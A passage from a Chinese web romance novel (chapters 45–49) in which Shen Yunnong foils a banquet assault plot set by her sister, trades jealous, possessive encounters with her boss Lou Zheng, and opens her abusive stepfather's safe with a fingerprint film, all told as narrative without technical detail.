楼铮今天穿了件暗红色的西装,领带打了温莎结,左胸前的口袋里,甚至规规矩矩叠了一块三角形口袋巾,看上去一本正经,像个绅士。 真装啊,沈韫浓心想。 她在角落看楼铮,楼铮的眼睛也有一瞬间落在她身上。 轻轻浅浅的一眼,之后,不动声色地挪走。 楼铮走到老太太面前,毕恭毕敬地磕了个头。 “祝奶奶福如东海,寿比南山。” 他的祝寿词比任何人都简单,偏偏把老太太哄得眉眼弯弯。 后来,沈韫浓又看到了陈知意。 陈知意穿一件波西米亚风长裙,显得文艺又俏皮。 两人在楼老太太面前点过卯,就去了舞池跳舞。 楼凤栖后到,他给老太太祝完寿后,跟人应酬了两句,之后主动到了沈韫浓面前。 “一起跳舞吗?”他嘴上问,直接对她伸手。 沈韫浓心里微微诧异,但没有立刻露出欢喜的表情。 她把手搭在楼凤栖手上,跟着他走进了舞池。 这样的机会太难得,沈韫浓打起十二分精神,要好好表现。 此时舞池里在放一首经典的爵士,《调情圣手》。 曲调轻慢慵懒,适合聊天。 楼凤栖的左手虚扶着沈韫浓的腰,右手松松地搭在她背后,很绅士。 要不是现场观摩过他的野战,沈韫浓真要以为楼凤栖是个温润君子了。 两人跟着节拍慢摇,也许是曲子太有氛围,连说出的话都稍稍越界了一点。 “韫浓,你很适合穿旗袍,我还是第一次见人能把这么普通的旗袍都穿得这么美。”楼凤栖夸她。 沈韫浓笑:“我身材有点……穿别的衣服显俗气,也就传统款旗袍能压一压,端庄一些。” 楼凤栖是男人,马上明白了她的弦外之音,接着,联想到她胸大腰细的葫芦形身材,心神一荡。 “哪里是俗气,你分明就是怕把别的女人比下去,你这是低调。” 在做捧哏这件事上,楼凤栖经验丰富,只看他愿不愿意罢了,今天,他明显愿意捧着沈韫浓。 沈韫浓做出羞涩模样,往他怀里贴了贴:“凤栖总,你看我带滤镜了吧。我哪有你说得那么好。” 楼凤栖原本的绅士手落到了实处,两人之间的氛围也终于有了拉丝的感觉。 舞曲逐渐明快起来,有一个动作是楼凤栖把沈韫浓推出去,旋转一圈后拉回。 转出去后,沈韫浓的后背被狠狠撞了一下,她疼得皱眉。 转头,便看到了若无其事的楼铮,以及他警告的眼神。 有病啊,只许你和陈知意跳? 沈韫浓想骂街,但她不敢。 于是,她和楼凤栖又多跳了两支曲子。 之后,走到舞池外面休息。 楼凤栖依然同她坐在一起,替她拿沙拉和饮料,照顾得很周全。 突然,沈韫浓微信响,是林贞发来的消息。 “看你的十点钟方向。” 沈韫浓看过去,便看到沈清妙和一个女孩聊得火热,一边聊,还一边眼睛往她这边乱瞟。 女孩看上去眼熟,但想不起来是谁。 林贞提醒:“沈清妙在和许春安蛐蛐你。” 哦!原来是她。 看沈韫浓往许春安的方向看,楼凤栖有点心虚,不一会儿,找了个借口走了。 沈清妙还在说她坏话,激动地眉毛眼睛乱飞。 许春安恨恨地看了她一眼。 沈韫浓无语,面上不动声色,心里回敬了个白眼。 瞪她有什么用,她和楼凤栖的关系,还不如许春安呢。 没想到,许春安会过来敬酒。 她端着酒杯,笑得客气。 “之前就听清妙说她妹妹美得像女明星,今天总算看到真人了。” 沈韫浓笑了笑不当真,随便找了句漂亮话反夸了回去。 两人碰杯。 谁知,许春安“不小心”手抖,一杯酒泼到了沈韫浓胸前。 “哎呀,太不好意思了!”许春安拿了纸巾在沈韫浓身上乱擦,假装慌乱,“沈小姐,要不,我先带你去楼上化妆间,再让人给你送身衣服过来?” 多么明确的作案地点。 这一切痕迹重得沈韫浓都想笑,绷住了。 她推辞了几句,但许春安很坚持。 于是,她便笑了笑:“那就麻烦你了,许小姐。” 她跟着许春安往电梯口走。 到了电梯口,沈韫浓的手机突然响起。 “抱歉,我接个电话。” 她没有进去,而是站在电梯间的一角去接。 电话大概打了有10分钟,许春安有点着急,又不好催她,便在一旁静静地等。 打完电话,沈韫浓对许春安抱歉地笑笑:“走吧。” 她们到了三层化妆间。 许春安:“沈小姐你先进去,我一会儿就把新衣服送过来。” 沈韫浓点点头,走了进去。 接着,屋内传来奇怪的声音,好像谁被捂了嘴。 许春安露出得意笑脸。 又过了一会儿,沈清妙上楼。 疯狂的拍门声响起。 “沈韫浓,你快出来,在楼老太太的寿宴上跟人乱搞,你要不要脸?” 沈清妙在门外大喊大叫,门内一片寂静。 沈清妙以为沈韫浓害怕,越发得意,声音都提高了。 多数人都在一层宴会厅,但三层也有一些。 沈清妙闹了有五分钟,引得不少人来围观。 其中就包括楼铮和楼凤栖。 “怎么了,沈大小姐?”楼凤栖问。 偏偏这个时候,沈清妙又装作一副“家丑不可外扬”的样子,支支吾吾起来。 等外面闹够了,沈韫浓开门,看着沈清妙和众人一脸迷茫无辜。 “我衣服被许小姐弄湿了,不太方便见人,就来化妆间躲躲,你们……这是怎么了?” 众人这才发现她的旗袍胸口处湿了一片。 沈清妙一脸的不敢置信,她冲进化妆间四处翻找:“人呢?沈韫浓,你一定藏了男人!” 此时,林贞从隔壁房间开门出来,牵狗似地牵着一个五花大绑的男人:“你说他吗?” 第四十五章 沈韫浓反杀 许春安坚持要沈韫浓到化妆间等她时,傻子都知道有问题。 她打那10分钟电话,就是为了拖延时间,让林贞先帮她看了看。 林贞也是运气好,原本没那么快搞定,可一上楼就遇到了来躲清净的楼铮。 在楼家宴会上搞事情,就是挑衅楼家,更何况,这事还是针对沈韫浓。林贞立刻把这件事说了,她就不信楼铮会不帮。 看到趴在地上的男人,沈清妙脸色都变了。 “不是我,是许春安说把沈韫浓和他一起关到化妆间,让他强暴沈韫浓!你问他,他也是许春安安排的!”她指着那男人说。 沈韫浓和林贞对视了一眼,都惊呆了。 这是什么品种的猪队友啊? 沈韫浓在心里狂笑,面上只是满脸震惊,眉头紧皱:“姐姐,你为什么这么对我?就是因为今天爸爸也带了我来吗?” 原本还想挤出两滴眼泪来,可她的泪腺实在不发达。 算了算了。 所有人的目光都投在沈清妙脸上,一个个意味深长。 不一会儿,许春安也被人带了过来,她看了一眼在人群里的楼凤栖,面如死灰,低下头去。 很快,沈英耀和许春安的父亲也来了。 两个人脸色都比吃了屎还难看。 特别是沈英耀,嘴唇都气紫了。 只觉得周围人看他的目光,意味深长。 女儿这么上不了台面,他沈英耀能是个什么好东西,在外面装的像个正派人,恐怕就是个“岳不群”。 “清妙一向老实,一定是被许小姐迷惑了,才犯糊涂!”他试图甩锅给许家。 许春安的父亲一听,马上不甘示弱:“我看是你自己没管好女儿,她心术不正,才想拉我女儿下水!” 两人又要吵起来。 楼铮冷冷淡淡一眼扫过去,他们才缩缩脖子,闭了嘴。 这事虽然发生在沈韫浓身上,可影响的是楼老太太的寿宴。 怎么处理,还要看楼铮。 楼铮看沈韫浓:“沈二小姐是受害者,这事怎么处理,沈二小姐说了算。” 他一直在默不作声地打量她。 这个家伙,装作受了惊吓的样子,可眼底那丝得意和狡黠骗不了他。 沈韫浓依然一副受惊小鹿模样:“好在我没出什么事,我想姐姐和许小姐也是一时糊涂,就算了吧。” 这番发言,宽容大度,对比之下,更让人觉得沈清妙和许春安上不了台面。 林贞秒懂,马上捧她:“韫浓,你就是太善良,才在家里总被欺负!” 众人的眼神顿时更加意味深长。 这件事,最终由楼铮做主,让沈英耀和许父都把自己的女儿领了回去。 看着沈英耀带沈清妙离开的背影,沈韫浓只想笑。 虽然在场的人不多,可八卦是人的本性,这件事一定会传开。 原本沈英耀是想带沈清妙结交一些二代,谁能想她拉了坨大的。 有楼铮压着,这件事没有惊动楼老太太,一切悄悄地处理完了。 沈韫浓只顾着看沈家父女笑话,甚至没注意楼凤栖不知道什么时候已经离开。 处理完后,人群被遣散,大家又都下去了。 只剩沈韫浓和楼铮。 于是,沈韫浓终于笑出声来。 楼铮静静地看着她笑。 一番折腾下来,她脸上的淡妆已经几乎没了,旗袍的前襟上顶着好大一团酒渍。 但她毫不在乎,笑得花枝乱颤,那颗泪痣都显得妖艳。 楼铮又想起那个洗手间门口初见时,她一身蓝色旗袍,手里拎着脏水桶的样子。 他想亲她,但场合不对,忍了。 见他看自己,沈韫浓这才敛了笑。 “啊,谢谢楼总!刚才要不是你,林贞也没那么容易抓到人。”她说。 楼铮问她:“沈英耀会怎么处理?” 沈韫浓似乎习以为常:“他也不会别的。沈清妙还有用呢,要么打一顿,要么打一顿再关杂物间,或者跪祠堂。” 楼铮敏锐地捕捉到了里面的信息:“他平时也是这么对你的?” 沈韫浓:“不只是我,他平等地打所有人。因为我不是亲生,打得更狠一点。” 她撩起旗袍袖子给他看:“这是周一晚上打的,还把我在杂物间关了两天。” 楼铮的神色肉眼可见地紧绷了起来。 在他的眼睛里,沈韫浓看到了心疼。 她不想卖惨,可不卖惨,楼铮就一直不肯放过她。 她有意无意跟楼铮透露自己的处境,也是告诉他自己实在玩不起。 希望他能懂。 说完,沈韫浓没有多留,也离开了。 她着急回家看笑话,一路上脚下生风。 果然,回去后就听说沈英耀把沈清妙打了一顿,关到了杂物间。 沈清妙在杂物间嚎得像杀猪,沈韫浓泡了杯茶,坐在门口听了大半天。 一想到这件事极大的折损了沈英耀精心维护的形象。她心情就好到飞起,那几天晚上睡觉时在被窝里都能笑出声来。 当然,这件事也有副作用—— 楼凤栖有好几天时间在躲她。 沈韫浓猜,大概是他觉得自己和许春安的事暴露了,有点抹不开面子。 他躲,沈韫浓就装傻,好像根本没发现楼凤栖对她的异常,一切都跟从前没什么区别。 可躲了几天后,楼凤栖先坐不住了。 他约沈韫浓喝咖啡。 沈韫浓:“哎呀,真不巧,林贞约了我看电影。” 楼凤栖刚失落一秒,她又问:“新上映的电影你看了吗?要不要一起?” 三个人有点怪,可楼凤栖想了想还是答应了。 到了电影院才发现,哪里有什么林贞? “林小姐呢?”楼凤栖问。 沈韫浓笑着睨他:“问她做什么,怕电灯泡不亮啊?” 楼凤栖被她那一眼看得心神荡漾。 他觉得,沈韫浓未必不知道他和许春安的事,可她聪明,选择了装傻。 楼凤栖突然放下心来。 有那么一瞬间甚至在想,不如就这样吧。 沈韫浓出身不好,可除了出身,哪里都好。最好的是,她是楼铮得不到的女人。 如果跟这样的人过一辈子,肯定会每天都有新鲜感。 电影院里,一片黑暗。 荧幕上是老套的爱情故事,荧幕下两人各怀鬼胎。 有一个身影入场较晚,在黑暗中坐到了沈韫浓身边。 第四十六章 咬脖子 整场电影,沈韫浓的心思都在如何跟楼凤栖互动上。 她想制造一点肢体接触,但不能太刻意。 于是,她借口包太占地方,将爆米花桶放在楼凤栖的腿上。 吃的时候,不去看他,只伸手去拿。 十次里有一两次,没摸到爆米花,手隔着裤子抓一下他的腿。 之后迅速露出慌乱模样,小声道歉。 黑暗中她看不到楼凤栖的表情,却知道他并不讨厌—— 因为楼凤栖不着痕迹地把那桶爆米花又拿远了一点点。 呵,闷骚。 此时,恰逢屏幕上有个香艳镜头,电影女主色诱男主,背对观众解开睡袍。 真丝料子滑落在地,满屏都是她美丽的裸背和走势优越的翘臀。 导演知道观众要看什么,特地停顿了几秒。 不少男观众发出“哇”的一声。 之后,便是经典床戏剧情。 爱欲交织的男女,暧昧的喘息,晃动的光影。 楼凤栖的手从她的颈后穿过,之后,蒙上了她的眼睛。 “少儿不宜哦。”他低笑。 沈韫浓呼吸一紧。 眼睛被楼凤栖蒙着,其他感官反而更加敏锐。 氛围暧昧到了极点。 耳边是影院音响里传来的喘息声。 鼻端是楼凤栖指尖的气息,像某种护手霜的花香。 不似楼铮的气息那样冷冽中带有攻击性。 想到楼铮,沈韫浓左侧大腿猛地一疼。 与此同时,床戏镜头结束,楼凤栖也收回了那只手。 但掐她腿的手没有收回,不仅如此,还加重了力道,隔着牛仔裤,有个硬硬的东西硌着她,像是一枚戒指。 像是那枚不知是什么金属做成,方形戒面,上面写着一个篆书“楼”字的戒指。 沈韫浓强忍着没敢声张。 这么离谱又大胆的事,除了楼铮没有别的人做得出来。 后面还有40多分钟的剧情,那只手在她的腿上呆了至少30分钟。 沈韫浓用余光看楼铮的侧脸。 他没有看她,一双眼睛紧紧盯着屏幕,让人看不出在想什么。 电影散场前10分钟,楼铮起身离开。 沈韫浓刚要松一口气,只听楼凤栖道:“好奇怪的人,晚来早走,事情只做一半。” 那口气又提起来,沈韫浓怀疑楼凤栖在敲打她。 看完电影,已经是晚上9点多。 楼凤栖送她回家。 车子行至门口停下,两人坐着聊了会儿天。 楼凤栖几次欲言又止。 以至于沈韫浓觉得,他离表白只差一点了。 她双眼含情的看着他,用目光给他鼓励。 “韫浓。”楼凤栖开口。 沈韫浓在心里响起倒计时,激动地心脏乱跳。 “你怎么不问我和许春安的事?” 兜头一碰冷水。 沈韫浓心里的鼓点熄灭了。 她看他的眼神里有一点委屈:“我听到了一些传言……但我不相信,想听你亲口说。” 楼凤栖满脸动容,沉默了片刻,才说:“我和春安是同学,所以就走得近了些,那些传言都是假的。” 简直放屁。 沈韫浓在心里嗤笑一声,脸上表情单纯得要命:“我就知道只是许小姐单方面暗恋你!” 又觉得似乎差点意思,补了一句,“凤栖总真的是我见过最有魅力的男人了。” 两人继续眼神拉丝。 楼凤栖越凑越近,沈韫浓一度觉得他要吻上来了。 谁知,他也只是伸手,从她的肩上摘下一根头发。 车尾发出“砰”的一声,是一辆出租车撞了上来。 两人下车处理,便看到了一个一脸无措的出租车司机。 “我刚才开车犯困,对不起,我报保险!” 司机态度特别好,好到让人不好意思过于为难他。 再好的气氛也毁干净了。 楼凤栖让沈韫浓先回家,自己解决。 沈韫浓知道事情没那么简单,但不好多留,又关心了几句就真的走了。 她没有想多,眼前是沈家的私家路,鲜少有车,而且,楼凤栖停得这样靠边,还打着双闪。 这辆车撞得实在蹊跷。 沈韫浓一直回到家,进了自己房间还内心忐忑。 她觉得楼铮会找她麻烦。 她先去洗澡,不出意外地发现自己的大腿青了一片。 她又在心里问候了楼铮全家,一想到明天上班还要面对他,头都大了。 洗完澡换好衣服,她躺在床上,努力不去想楼铮,而是复盘和楼凤栖的这三个小时接触。 就差一把火,楼凤栖应该很快就会表白了。 微信响起。 楼铮发来的消息,冷冰冰两个字:“出来”。 沈韫浓不想。 “楼总我睡觉了,有什么事明天再说吧?”她连应付都懒得应付。 楼铮:“我现在就在沈家门口,不怕沈英耀发现的话,你可以不出来。” 沈韫浓:? 她告诉他自己的处境,是让他这么用的吗? 沈韫浓没有再说什么,衣服都没换,穿着家居服出了门。 还好,楼铮的车并没有停在正门口,而是在私家路的拐角处。 她走过去,副驾的车门打开。 “上来。”楼铮命令。 听上去情绪很差。 沈韫浓不动。 怕被刁难,她干脆先发制人:“我是跟凤栖总去看电影了,我们都单身,我记得公司没禁止办公室恋情吧。” 楼铮在车窗内冷冷淡淡看着她。 “沈韫浓,上车,别让我再说第三遍。” 他的眼神在黑夜里尤其幽深,似乎能吞噬一切。 沈韫浓被盯得心口发慌,她不再反抗,沉默地开门上车。 刚在副驾坐好,楼铮的双臂便掐着她的腰,一个猛力,将她抱过来,坐在了自己腿上。 跑车的空间本就促狭,沈韫浓被牢牢禁锢,根本动不了。 楼铮的眼睛盯紧她。 “在车上那么久,他亲你了?” 沈韫浓皱眉,她讨厌被这样质问。 他又不是她什么人,管得着吗? 见她不答,掐着她腰的手用力,楼铮的眼神又凶又狠。 “问你话呢。” 沈韫浓不敢撒谎,因为她怕撒谎激怒楼铮,他会在沈家门口乱来。 她紧张地直吞口水:“没有,就聊了聊天,我敢发誓。” 楼铮的神色缓和了稍许。 他撩起她的头发,将头埋在她的颈侧。 一个用力,咬了下去。 沈韫浓倒吸了一口凉气,她能清楚地察觉到楼铮的犬齿一寸寸深入她的皮肤里。 这人是属狗的吗? 第四十七章 一米九的狗 楼铮这口气憋了一晚上,不发泄出来,今晚就别想睡觉了。 他咬着沈韫浓颈间的那块皮肤,用了嗜血的力气。 直到唇齿间铁锈味蔓延,沈韫浓不知是疼痛还是其他,在他身上微微颤抖,心里的燥郁才稍稍平复。 牙齿松了力道,楼铮抱紧了身上的人,哑声问:“疼吗?” 绝对禁锢的姿势,悬殊的体力差距,沈韫浓没说话,压抑地低喘了一声。 看到她动情,楼铮终于满意。 他吻了吻那块位置,安抚后才离开。 “沈韫浓,如果再让我看到你和楼凤栖在一起,就不是这么简单了。”他说。 回去后,看着镜子里被楼铮咬破的皮肤,沈韫浓简直欲哭无泪。 楼铮咬的那块皮肤,在下颌骨拐点和脖子相连处,一个正常人围巾都不会围到的地方。 这么刁钻的位置,她该怎么遮? 第二天,沈韫浓特地起得很早,做了各种尝试,都以失败告终。 临出门,才决定简单粗暴地贴个创可贴。 还好,同事们都不是话多的人,倒是没人问她。 一直到上午10点多。 内线电话响起,楼铮要她送两杯咖啡到办公室。 沈韫浓做好咖啡后,一进总裁办公室的门,便看到了楼凤栖。 他正跟楼铮谈事,见到沈韫浓,和善地点了点头。 沈韫浓也不动声色,把一杯咖啡放在他面前,另一杯给了没骨头似的靠在老板椅上的楼铮。 刚要出去,楼铮突然开口:“脖子怎么了,沈助理?” 狗男人,他绝对是故意的! 沈韫浓在心里诅咒他被热美式烫死,面上强装镇定:“被狗咬了,晚点想请假去打狂犬疫苗呢。” 楼铮“哦”了一声:“看这个位置,这只狗挺高啊。” 沈韫浓:“嗯,一米九。” 楼凤栖一口咖啡险些喷出来。 “韫浓真的是幽默又可爱。”他说。 沈韫浓表面陪笑脸,内心:求求先别夸了,当着楼铮面夸我,就是想让我死。 下班时间,沈韫浓又接到了楼铮的微信:“下来,地库。” 助理的工作原本就是24小时待命,沈韫浓以为楼铮有什么应酬,连工牌都没摘,直接去了。 楼铮的车停在显眼处,司机下来等她。 沈韫浓上车,发现楼铮换了身衣服,靠在真皮座椅上闭目养神。 “楼总,我们是要去参加宴会吗?”她问。 楼铮没理她。 车子越往前开,沈韫浓越觉得不对劲。 直到驶入万达广场地库,之后,楼铮带她坐直梯上五楼。 五楼是电影院,她昨天才来过! 没完了是吧?! 沈韫浓憋了口恶气,又不敢发,只能在心里翻了个白眼。 “楼总。陪你看电影不在我的工作范畴里。”沈韫浓不得不提醒。 楼铮转头,两人目光相撞。 在他阴鹜的注视下,她突然就不敢再反抗。 楼铮买了时间最长的电影。 入场之后,有样学样,把爆米花桶放在沈韫浓腿上。 在那一瞬间,沈韫浓觉得自己表情管理都失灵了。 这男人怎么这么幼稚! 好在楼铮没有再出幺蛾子,也没有真的摸她腿。 影片时间太长,沈韫浓看到一半就开始走神。 她实在静不下心。 跟楼凤栖看电影,要紧绷着一根弦,时刻想着如何撩他一下,已经很累了。 可跟楼铮看电影更累,像无偿加班。 沈韫浓思绪乱飞,然后来眼睛直接不看屏幕,开始看楼铮。 他长得真顶啊,五官硬朗却不粗犷,每一处都精雕细琢。 楼凤栖长得也挺帅的,可跟楼铮比起来,就有点不够看了。 而且楼铮的性格也更有魅力,在那方面…… 她的脸在黑暗中一点点红透。 一旁的楼铮眼明明盯着屏幕,却用余光发现了她的小动作。 在她第三次盯着他发呆时,他猛地转头,托住了她的下巴。 沈韫浓在黑暗中睁大眼睛。 他的唇覆上来,一瞬又离开。 “你要是再不看电影,只顾着看我,我们就去做点别的。”他凑在她耳边说。 一呼一吸间的热气让沈韫浓头皮发麻,每个毛孔都张开。 她低声嘟哝,替自己找借口:“我这两天没睡好,集中不了注意力。” 楼铮伸手,将她的头扳过去,靠在自己肩上。 “那你睡吧。”他说。 沈韫浓没有躲。 楼铮的肩膀很宽厚,靠起来很舒服。 她竟然慢慢地开始打瞌睡,到后来真的睡着了。 再醒来,电影已经散场。 她窝在楼铮怀里,被他抱着往外走。 后面,有一个女孩在跟另一个女孩小声嘀咕:“好甜啊,偶像剧照进现实。” 不知是不是说他们。 沈韫浓有睡醒低血糖,得缓缓。 她干脆也没闹着从他怀里下来,把头往里靠了靠,找了个更舒适的位置,又睡了。 看着怀里人蜷缩的姿态,那样放松与信任。 楼铮憋了一整天的怒气,终于一点点消散。 他的心情明朗了一点。 楼凤栖而已,是他自己太当回事了。 一直到了车上,沈韫浓才彻底醒透。 楼铮没有马上送她回家,而是先带她吃了宵夜。 两人看电影前都没吃东西,沈韫浓是真的饿了。 他们吃广府菜,青菜粥和各种精致点心,避风塘凤爪,炒蟹。 沈韫浓找服务员要了个皮筋,把头发胡乱扎起来,之后,不顾形象地大快朵颐。 楼铮自己没吃多少,坐在对面静静的看着她。 这么瘦的人怎么这么能吃? 看着她吃饭,自己的胃口都能跟着变好一点。 “沈韫浓。”楼铮最喜欢连名带姓叫她,像老师点名。 沈韫浓不得不从美食中分点神给他:“嗯?” 她用筷子举着一只凤爪看他,眼睛澄澈得没有一丝杂质。 楼铮也忘了自己要说什么,但大概又是上不了台面的酸话,他怔了一下。 努力变回闲聊:“你多少斤?” 沈韫浓非常精准:“早上称的,43.4KG” 显然她平时很注重体重管理。 “太瘦了,可以胖一点。”楼铮说。 沈韫浓摇头:“我也就这点优势了,能控制一下还是控制下。” 但以她今晚的饭量,说这话显然没有信服力。 “你很在意形象?” “谁不在意呢?要不是我长得好看,你才懒得管我要追谁。” 说完沈韫浓自己先愣住了。 死嘴,一放松就乱说话,给三分颜色就开染坊! “……楼总,抱歉。” 她乖乖放下了筷子。 第四十八章 哄 天聊进死胡同,沈韫浓想给自己一巴掌。 好容易缓和的氛围,又因此僵持下来。 也不知是不是因为楼铮见过她最真实的一面,在他面前,她很容易卸下防备,瞎说大实话。 她垂头等着他的惩罚,可怜巴巴。 楼铮看着面前的人瞬间沉下来的脸色,心里像堵了一团棉花,咽不下,也吐不出。 她没说错,如果她不漂亮,他很难注意她。 可别漂亮的女孩那么多,她总归有点别的不太一样的东西,楼铮自己也说不清。 但她懊恼的神色真刺眼,好像他是个喜怒无常的暴君,随时因为她哪句话不对,将她拖出去砍了。 “吃饱了吗?”楼铮问她。 沈韫浓“嗯”了一声。 楼铮起身:“回家。” 沈韫浓赶紧跟上。 她看到楼铮在前台又打包了一份一模一样的。 车上,一路沉默。 沈韫浓几次想道歉,看楼铮没有理她的意思,就算了。 车子还是停在私家路的拐角处,沈韫浓下车。 “晚安楼总。”她规规矩矩,再也不敢有任何僭越的举动。 楼铮没说话,把放在一旁的保温袋递给她。 “这是?” “你刚才没吃饱。” 车子开走,沈韫浓盯着面前的保温袋,出了会儿神。 回到家,在前厅碰见了沈英耀。 沈英耀显然在等她。 “做什么去了,这么晚才回来?”他面色不悦。 沈韫浓:“加班。” “说谎!”沈英耀拍桌子。 沈韫浓掠过他,往楼上走:“不信你问我老板去。” 沈英耀却已经追上,伸手撕了她颈上的创可贴。 她的颈上有明显的牙印。 “谁咬的?”沈英耀的怒气值提高到了百分百,拳头都握紧了。 沈韫浓回头看他,神色轻蔑:“当然是男人,一个比你年轻,比你强一百倍的男人。” 沈英耀立在当场,眼底一片灰。 猜测和亲眼所见是两回事。 猜测时还可以自欺欺人,说自己想多了。如今亲眼所见,最后一层遮羞布被扯开,沈英耀受到了极大的冲击。 也许是太震撼,他居然没打她。 沈韫浓上楼,迅速锁上了房门。 但沈英耀不会善罢甘休,第二天一早,他就随便找了个借口,把顾曦薇关进了家庙。 沈韫浓跟他大吵一架后才去上班,一上午都在心里憋了团火。 这次,她要给沈英耀找个大麻烦。 这样想着,她去敲了楼铮办公室的门。 楼铮又在开视频会议,示意她在一旁等。 沈韫浓脑子迅速运转,想着一会儿怎么跟他开口。 昨天刚得罪了他,还是要哄一哄。 哄完……不行就实话实说吧。 他应该会帮她,也不至于找她要什么,就算要,无非就是那档子事,睡楼铮,她又不亏。 楼铮开着会,对她伸手。 沈韫浓刚才在走神,不知道他想要什么,先是递了烟,看楼铮放下,又把咖啡杯送过去。 楼铮皱眉,还不对。 沈韫浓心一横,把自己的手放了上去。 楼铮显然也愣了一下,却没有放开,直接收紧了手指。 沈韫浓听他跟那边淡声说:“没有找到笔,回头你把这个数据微信发我。” 沈韫浓:“……” 她好丢人啊。 这个会又开了20分钟,楼铮一个眼神都没给她,视频外的那只手,却在认真玩着她的手指。 时而跟她十指相扣,时而捏她的关节、指腹。 沈韫浓双颊滚烫,恨不能找个地缝钻进去。 等楼铮开完会,再看她,眼里都是促狭。 他心情不错。 沈韫浓觉得似乎不用哄了。 她将自己的手抽回来,看着他开门见山:“楼总,这件事是因为你而起,你得帮我。” 楼铮抬了下眉梢。 沈韫浓一口气把昨晚和今早发生的事说完。 楼铮眉头紧皱:“你成年了,他连这个都要管?” 这话沈韫浓没法回答,说不出口。 如果她说,沈英耀一直在打她的主意,那别人同时也会觉得顾曦薇不堪。 在这样一个家庭里,都不知道带着女儿逃,这个妈简直糊涂得没边。 事实上,沈英耀是个很好的演员,他禽兽的一面,只有沈韫浓知道。 顾曦薇和沈家其余子女,都只觉得他家教森严而已。 沈韫浓不肯说,但她总觉得楼铮能懂。 他那么聪明敏锐,很少有事情能瞒过他的眼睛。 “你要我怎么做?”他问。 上次往沈家的货船里放违禁品的事,他提都没提。 他这样的人是不屑于向女人邀功的。 沈韫浓诚挚地看他:“沈英耀最近在做一个计划书,好像是想用不正当的手段拖垮两家同行,计划书就在他书房的保险柜里。我需要干扰监控的东西,还有指纹片。” 这些东西她只是在电影里看过,不知是不是真的存在。 “能。”楼铮很快回答她,“但其实,你可以求我,我直接让他计划泡汤了。” 沈韫浓勾唇:“不,但凡我能自己做的,我一定要亲手做。” 她早晚有一天,要把沈英耀打进地狱,让他爬都爬不出来。 看着沈韫浓决然的神色,楼铮突然想通了昨天一起宵夜时的那个问题。 他注意她绝不是只是因为她的漂亮,更多的,是她乖顺外表下的叛逆,是不屈于困境的反抗精神。 她明明是一株野草,却长了温室里小花的外表,太具迷惑性。 楼铮又去抬她的下巴。 “下午就可以把东西给你,你准备怎么谢我?”他用眼神蛊惑她。 沈韫浓:“我跟你睡。” 楼铮:“……” 好直接,又真的好难拒绝,还有点生气。 楼铮原本想的,是一起看个话剧吃个饭之类的……真不是这个事儿。 他心里天人交战,神情却很淡:“馋我身子就直说,天天找机会,累不累?” 沈韫浓:“……人之常情。” 楼铮觉得自己快装不下去了,再不赶人,他一定会做点什么。 “请我吃个饭吧,那个……欠着。” 沈韫浓的眼睛倏地亮了。 她走的时候脚步都轻快了很多。 看着她的背影,楼铮心跳纷乱。 沈韫浓,你最好自己愿意。不愿意,也由不得你了。 第四十九章 天赐良机 下午,沈韫浓如愿拿到了她想要的东西。 为了避免沈英耀把这笔账算到她头上,她给自己制定了一个周全的计划。 晚上回去后,沈英耀不在。 沈韫浓故意在家里乱晃,看到沈清妙后阴阳怪气。 “以后是不是就要叫你陈太太啦?”她说。 沈清妙莫名其妙:“你有病吧?” 沈韫浓摊手:“难道不是?我明明看到陈家人送了婚书给爸爸。” 想来想去,海市这几个世家里,陈知意的哥哥陈玉儒还算适龄,沈韫浓故意诱导她。 沈清妙顿时面露喜色,怕沈韫浓发现,又迅速板起脸:“八字没一撇的事儿,不要瞎说。” 沈韫浓冷笑了一下走了。 她这个神情,沈清妙解读为嫉妒。 沈清妙没听说婚书的事儿,又不敢直接问沈英耀。 想来想去,干脆潜入了沈英耀书房。 她甚至自作聪明地找了块布把监控盖上。 沈清妙乱翻了一通,也没看到婚书,悻悻而归。 她走后没多久,沈韫浓又进去,用指纹片贴了沈英耀的鼠标,之后打开了他的保险柜。 计划书成功拍到,那两家同行,她不好出面去交涉,委托给了林贞,这方面林贞向来靠谱。 这件事只是一个伏笔,等沈英耀发现自己努力许久,投入大量财力却功亏一篑,要至少半年了。 但沈韫浓得意不已,她种下了一颗对的种子,就早晚会生根发芽,结出对的果实。 做完后,她第二天下班便请楼铮吃饭。 两人吃海底捞。 楼铮身份特殊,这种平民火锅店的氛围是他从来没感受过的。 一进门,看着沈韫浓拿到的叫号单直皱眉,前面还有八十几桌? 他什么都没说,可那模样已经很嫌弃了。 沈韫浓却习以为常,拿了把椅子跟他一起等。 能跟全海市身价最高的男人吃海底捞,还真是奇妙的体验。沈韫浓想。 等了10分钟后,楼铮不耐烦了,起身去找号码最靠前的人,给了她一万块,提前入场。 一直到两人坐在桌前,沈韫浓还在惋惜:“浪费那个钱还不如给我,够我一个月房贷呢。” 楼铮:“我说过,你想要多少都可以。” ……她是那个意思吗? 沈韫浓怕说出扫兴的话来,硬生生忍了。 楼铮却还要问:“沈英耀不给你钱?” 沈韫浓系好围裙,又递给楼铮一个:“花他的钱就要受制于他,我宁可不要。” 楼铮沉默。 沈韫浓大概是看懂了他的眼神,马上说:“不要同情我,楼总。你要相信我,我一定可以靠自己。” 她偶尔沮丧,却在大多数时间斗志昂扬,觉得自己早晚有一天会得势。 而此刻,正是给自己庆功的时候,情绪不能往下走。 楼铮依然没说话,眼神却难得柔软。 菜一样样端上来。 “喝酒吗?”他突然问她。 刚干了件大事,的确值得庆祝,但这里没什么好酒。 “我出去买。”沈韫浓准备起身。 “不用,有什么喝什么吧。”楼铮难得不挑。 说着,随便点了两罐工业水啤。 上来后,先开了一罐递给她:“恭喜沈小姐,旗开得胜。” 氛围太好,让人高兴。 沈韫浓整个人看着喜气洋洋。 “谢谢楼总。”她跟他碰杯,一饮而尽。 她酒精不耐受,马上红了脸,眼睛水汪汪的。 沈英耀倒霉她就高兴,那如果…… 不行。 他在她需要的时候帮她即可,手伸得太长不好。 更何况,这个女人诡计多端,他太上赶着,只会让她觉得自己好拿捏,更不愿把真心给他。 楼铮不动声色地收起了乱飞的思绪。 隔壁桌有个小朋友在过生日,一帮服务员举着“生日快乐”的灯牌唱歌。 沈韫浓不知是不是酒精上头,也起身,跟着唱。 她兴致高得离谱,全无往日的淑女形象。 “跟所有的烦恼说byebye,跟所有的快乐说hihi……” “沈韫浓。”楼铮低头,恨不能用围裙挡住脸,“你跑调了。” 这顿火锅吃得愉快,沈韫浓和楼铮的关系也有了点微妙的变化,她甚至觉得,他们可以做朋友。 最起码楼铮这个人真不坏,也没有初始时看上去那样难接触。 她欠的那个“回报”,楼铮也没急着要她兑现。 